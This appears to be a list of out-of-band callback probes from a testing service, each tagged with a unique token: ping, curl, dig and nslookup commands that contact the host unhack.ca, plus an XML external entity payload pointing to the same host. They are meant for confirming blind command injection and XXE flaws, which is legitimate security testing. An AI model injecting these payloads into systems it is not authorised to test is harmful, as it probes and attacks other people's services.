$ ping -c1 -p 00f20b839a2208b153e92e83d9af2c00 unhack.ca
 

$ curl http://unhack.ca/p/f20b839a2208b153e92e83d9af2c
 

$ dig f20b839a2208b153e92e83d9af2c @unhack.ca
 

$ dig f20b839a2208b153e92e83d9af2c.ns.unhack.ca
 

C:\> nslookup f20b839a2208b153e92e83d9af2c unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/f20b839a2208b153e92e83d9af2c">]>
    <foo>&xxe;</foo>